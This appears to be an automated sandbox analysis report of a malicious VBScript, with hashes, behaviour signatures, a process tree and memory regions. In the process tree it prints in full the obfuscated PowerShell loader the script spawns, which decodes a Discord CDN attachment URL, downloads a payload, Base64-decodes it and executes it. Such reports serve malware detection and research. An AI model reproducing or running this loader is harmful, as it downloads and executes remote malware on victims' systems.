Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    24-01-2024 09:53

General

  • Target

    Stningsupf.vbs

  • Size

    20KB

  • MD5

    5529cd44f2c094c191a17229e665309c

  • SHA1

    0ada61210700fa1c500c175f077e816b3b4e8d5e

  • SHA256

    deaba7a864c44913637d6e989f0a0d08e938259eafd787111be67c0e7bd310cf

  • SHA512

    c15bad22c731839d23b67afec0588d9ebc613d06e48842c1c781ee7e46ca5aa5b3256126cc31b82ee0b019117b88ff93bb23360930c864c36de9904fb9bb10bd

  • SSDEEP

    384:d8/BPgKFRKYo9cAgwDRFO/DCu1pnrv97hfC2t5r/Xra:+EptgvG0Fl7pCwr/Xu

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Stningsupf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sviger Ethn Korros Torden Nrtbesl Delilahch #>;Function spidgermac ([String]$Trykluf120){$Nstenfljt=8;$unhandi=Sekundave4($Trykluf120);For($Ansttel79=7; $Ansttel79 -lt $unhandi; $Ansttel79+=$Nstenfljt){$Sekundave=$Sekundave+$Trykluf120.Substring($Ansttel79, 1)};$Sekundave;}function Fornjels ($Strut){& ($Sekundave01) ($Strut);}function Sekundave4 ([String]$Valen){$homoousio1=$Valen.Length-1;$homoousio1;}$Sekundave02=spidgermac ' LalopaTRensemir PartreaCoopeesnFragmensStngeshfGrdimyre Thrombr Uropodr ToldtiiManifesn MeadebgDeferri ';$Bipolari=spidgermac 'EylevsbhHulkorttHjemmestGuanosbpFodgngesBrygger:Opvarmn/Termina/ expliccUnconcedMonicesn Freshe.UninstidReificeiSumarghsReiniticObserveoPresterrvgtafgiddilectiaOxyhydrpAksellepBaandsp.negativc Toggero Scufflm Ovalbr/kternela KalifatSkattegtNattevaaEntalsfcmicroplhWantwitm Inexcle MetaltnNonionitDihydrosCompani/ Revali1 Elychn1Tugthus9Buninge9Lynchen4Smaatte6Drenges4Shivare8Knsroll2Sirdars3Piggede7Knogles3Claimsm0Lakarpi2Transum1Resuppr2Vuggens9Bombnin5Katastr8Pegefin/Dekaedr1Streamw1Uranice9Toldpos9 aftera4Frimrke8Synocho3 Gaster6Litoral6Accente8Underst5Pattern4Competi0Fauvism9Procure6Lagerbe0Twinshi9Beamsma3Indiscr8Disarra/RheotacGFadykrylMarinusaAcrologn QuinzisForhindlEightba.HyrennosHumanisn Afspejp Taxine?BihulebeMdewakaxPatriar=Rasbora6Moesgaa5GrimiercBenefic2TroakfybFletkom5Pacific3Nursery7Satirem&TraumatiConcamesAntiref= Progra6 Headpi5Beskyttbinclina0Alpinis4 Ungdom0Forraak3Gkanter7anisett& SpndethPierianmForhale=Aflgnin0StriolabSenecio7 Udlaan9 Earthd0FabriksbTenantb8 Tobogg0RabificeFrednin9 Irradi4 EftergdStersby1berebde1Ghegbun4Jenbryn4OmviseodRosenka1 Betryg3indefryb Unjudid Annikkbschweiza Remark6Plesios8Unconti0Nationa8UnaugmebPaasatt5Ketimidd FluoroaNatrium6Perpets6Underme7 Tuteesa Vallid0Radioac5Puberte0MarshlocJournal1InorgklcSkraalsbForeboaeInviola3carbona7Filiati7Akroter0 Beggar4 Kunsth8EnogtyvcSammmen5hngebro9cigarru4Excesse7 Refere8 Unpassaeffulge9SubdivicKanvasebGalacto8 Broder8Sciroph5Sladret7 Bindemd Bondek&Selskab ';$Sekundave01=spidgermac 'KonkurriChanneleForevigxprodukt ';$Sekundave00=spidgermac 'Babbitt$germicigStenocelFleuretoRoverssbSuperreaSelvindl Candle: EconomhUdviklioreboantmgardieroOctoniooButterfu LetsinsEmbryoli FlutteoMicrowo8 Dbersb Klapsto= Lazyis KonfuseSNonchaltReklameaCubanerr Hortent Hemihy- BardieBDecilliiTilflditVersionsNotocorTFugtigerAvyayibaShuntven MetonysTvangsafBondedaeStrengerOptimer Sondre- KontroSJoneskooServiceuWreathwrWeepiescElectroeVeksele incrass$ TankreB TaaregiKrlighepPleuraloHypsiprlHuffinga UropfrrBetelgeiRwandac Dichsan-KrigsreDFarvenuePlanetos SnatchtTopplaciAfgnavnnBgebladaEfterhatStiklemiLeksikooPuncturn Fraskr Aurelia$Rverkbeh StylinoMouthwimReattrio brandsoBiasteru Klumpes Normali BindinoFlgsdis2Tilskdn ';Fornjels (spidgermac 'Foruren$Stokastg ResupplCounteroAntikvibwairepoaNonconslfodbrem:AppresshSennepsoPryskanmFrembreoKolonneo WordliuKrystalsliquidiiEsteresoScallol2Vernill= Overfl$AndaluseChristmn SculptvDemonst:AcheeraaAnabolipSkumtpppsuperevdKritrimaSigfilettermanaaAktioni ') ;Fornjels (spidgermac 'SkyndsoI EmbryomSoonerlpUnverifo EmanuerKlagejet Argusj-DeficitMkrybskyoKildeskdPacificuanretnilLascivieColoniz FrisensBDrejekniGeologetInstrucspestoloTSkingrerleeeconaFjsetsanElefantsAccommof MisnareSemiovar Reprse ') ;$homoousio2=$homoousio2+'\Hard.Bor' ;Fornjels (spidgermac ' Agoniz$ XanthogMisappllTilkastononlibibForaeriaUdkikspl Iridoc:RankernhIrlnderopolonizmHaandtaoDatamato TapetsuParametsTonelejiJrgineeoHistoch7Sociali=Spdbrns(SmagninTFornorse Stormas GrmmedtCraniop-ScalpfoPBilkirka Perpmyt SnyltshOrdmnst Skrmelu$Forsmmeh AmtslioEumoiromBodsticoSystemeo DawtieuHenvejrsDitchwaiThickenoravneag2Urochor)Tilbage ') ;while (-not $homoousio7) {Fornjels (spidgermac 'CockupsIAnsetjafPostkon Profli( Ayahpl$UndersghPerclosoMalevarmSupposioapasttroArvemasuDalersksChinboniSildemaoDelticl8tinerer.NaturlgJTryklaaoJazzparbSubtoweS ScritotForfladaAristoctHeatheneForspil Offeret-OverseneNosedivqfundrai Adsorb$MagttekS StormkePatriotkPolzeniuTatovernTranspodVirksomaDipolarv Heptahe Tephro0 Tackif2Milieum)Jannies Scammon{BevisbySRecontrtStablevaRegionsrSkvadrot Blatan-SlugginS Ricercl Mikrofe RescueePapirinpGrovbla portpa1Seclusi}gastromeDepartml ImpasssamuyongePolemis{ ArchimSPenetrat HarietaPinacolrArchispt Mandor- MisdecSReflekslDyadsveePopelikeMinorshpSammenp kidden1Ridleys;StarycaFOverspro AmazonrTankelsnParadigjVoltanoeRidgesulKloakmesAcrosto Friarly$BalstyrSStedordeMilieurk fferbouSamdrifn AngioldHysteriaBuningevYppersteKonomii0 Opslug0Secrets}Psylliu ');Fornjels (spidgermac 'Centere$PryglssgDrivmidlUncovenoUnremunbpegepinaCubiclelCopable:KystlinhAmortisoBrevvgtmSporobooAntimono KongesuMollashsLiciasriCozygldofejebla7Radikal=Henwinn(SbefabrT Raggybe BagtppsTwankysttepidsa-InterasPAfdelina Interptconsignhnowthef Nonconc$DianthuhAcrasiaoMendedimNedklfroalamiquoUndertiuArsesposTurnbuciCoaliseoBoremas2columni) Udland ') ;}Fornjels (spidgermac 'Knackie$Pendantg Genlstl KapitaoOverhalbVenturea LiverllRekrnke:ViderebREccentre SubmansIntercopIonicda Arfilli=Unenfor UnfixatGGalpevaeAustraltKulegra- CriticC kameluoOtorrhanQuintalt Buestre Tilplan AbstratAnmrkpa Struldb$TargoflhJustervoBaadfrem TurnetoAangstroChickssuIndestas StultiiWeeweecoHummert2Chiffon ');Fornjels (spidgermac 'Halsema$AgregatgEternellBukledeoApostrobHousebaaJerbilll Bellat:VisualiBQuinqueuPaaskyntOverdrii byzonekFortifis DefedadBufferedDomkapik Fljlsg Cerber=Neurops Fladem[AminesaSNimrodiyEncourasWallpapt MissioeKaraktemHyothyr. ReposeC Phleboo AmbulanTrevlervlipothye RefererInterfetMigrain]Forfors:Skoleun:AllegorFmonotrorTwitteroFiskekumUnconceBJademntaKanoners Farvefebrutali6udtagni4SuberizS Indskrt racewarBilligvi Moerkln FidelegEstrade(Fremmel$OverfurRundervue Angliks TeltstpLighten)borehul ');Fornjels (spidgermac 'Rematri$Friktiog NoncodlHobberpoSemialcbSkalainaOverenslSestert:parturiSHinniedeAbstrudk Fejldiu FaldernRutebaadComplotaOvergenvKbspriseheckler2Ulfhild Lnforb=Camelli Bevisma[PrebbleSMatrikuyUfologisGerningtDetestaeUdlseremAggrega.CansereTfattenieBehavioxDisgradtArsenit.TakkelaEAllokernNedarvecKathesvoAmoralid lnstoriMulticanskolealgAdpress] Guldgl:Collogu:NordmarAEnklereSGeneralCAuroralIGnidninIClauses.IntegraGzoologiepandleut TypefoS IndbertBemgtigrGaugeabi QuartenMadsenrgYolkine(buksekn$HaandboBSkinnecuutidssvtSlakedti TransfkVovvovssUnilocudFuguistdIndlggekReackno)Otaries ');Fornjels (spidgermac 'Titular$polyacrgOrphizelHydrogro AdsorbbSkyldstaTonjemalMiljmyn:GodvillSFrontozeSkeernekSputtavu Desmarn NanniedScoonmaa PolenkvBarrioseHjlpeka3Opslide=Calcifo$BeskattSAtomkraeWaltdiskSurahhouTartaranaminosydRytmernaKriminavNationaestenkug2Klagesa.TrykplasVentriluFarthinbCrenelesContorttTraumatr StassaiOveruninOpgavebg Lennyc( Hogger3zizitto1 Barnac5Sleevel0Brstils6Selekti7Unmadde,Rehabil2Prognos4Stikprv5Spaltni3Maffios2 Eleusi)Corriva ');Fornjels $Sekundave3;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2856

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab31EB.tmp
    Filesize

    65KB

    MD5

    ac05d27423a85adc1622c714f2cb6184

    SHA1

    b0fe2b1abddb97837ea0195be70ab2ff14d43198

    SHA256

    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

    SHA512

    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

  • memory/2856-20-0x000000001B2D0000-0x000000001B5B2000-memory.dmp
    Filesize

    2.9MB

  • memory/2856-21-0x0000000002310000-0x0000000002318000-memory.dmp
    Filesize

    32KB

  • memory/2856-22-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp
    Filesize

    9.6MB

  • memory/2856-23-0x0000000002910000-0x0000000002990000-memory.dmp
    Filesize

    512KB

  • memory/2856-24-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp
    Filesize

    9.6MB

  • memory/2856-25-0x0000000002910000-0x0000000002990000-memory.dmp
    Filesize

    512KB

  • memory/2856-27-0x0000000002910000-0x0000000002990000-memory.dmp
    Filesize

    512KB

  • memory/2856-26-0x00000000028C0000-0x00000000028E2000-memory.dmp
    Filesize

    136KB

  • memory/2856-28-0x00000000025C0000-0x00000000025D2000-memory.dmp
    Filesize

    72KB

  • memory/2856-29-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp
    Filesize

    9.6MB

  • memory/2856-30-0x0000000002910000-0x0000000002990000-memory.dmp
    Filesize

    512KB

  • memory/2856-32-0x0000000002910000-0x0000000002990000-memory.dmp
    Filesize

    512KB

  • memory/2856-31-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp
    Filesize

    9.6MB

  • memory/2856-33-0x0000000002910000-0x0000000002990000-memory.dmp
    Filesize

    512KB

  • memory/2856-34-0x0000000002910000-0x0000000002990000-memory.dmp
    Filesize

    512KB